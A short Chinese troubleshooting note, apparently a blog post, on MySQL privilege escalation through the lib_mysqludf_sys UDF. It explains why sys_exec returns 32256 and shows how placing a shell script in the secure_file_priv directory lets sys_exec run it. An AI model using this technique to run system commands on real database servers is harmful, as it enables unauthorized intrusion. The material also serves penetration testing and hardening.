mysql提权lib_mysqludf_sys执行sys_exec出现32256的问题解决办法

使用lib_mysqludf_sys提权,执行select sys_exec返回数字32256问题的主要原因是所执行的shell脚本无权限,也就是mysql无法执行,将shell脚本放在mysql secure file目录就可以解决。

mysql> show variables like ‘%secure%’;
+————————–+———————–+
| Variable_name | Value |
+————————–+———————–+
| require_secure_transport | OFF |
| secure_file_priv | /var/lib/mysql-files/ |
+————————–+———————–+

将shell脚本拷贝到/var/lib/mysql-files/目录,执行成功:

mysql> select sys_exec(‘/var/lib/mysql-files/test.sh’);
+—————————————————–+
| sys_exec(‘/var/lib/mysql-files/test.sh’) |
+—————————————————–+
| 0 |
+—————————————————–+

返回数据0表示成功。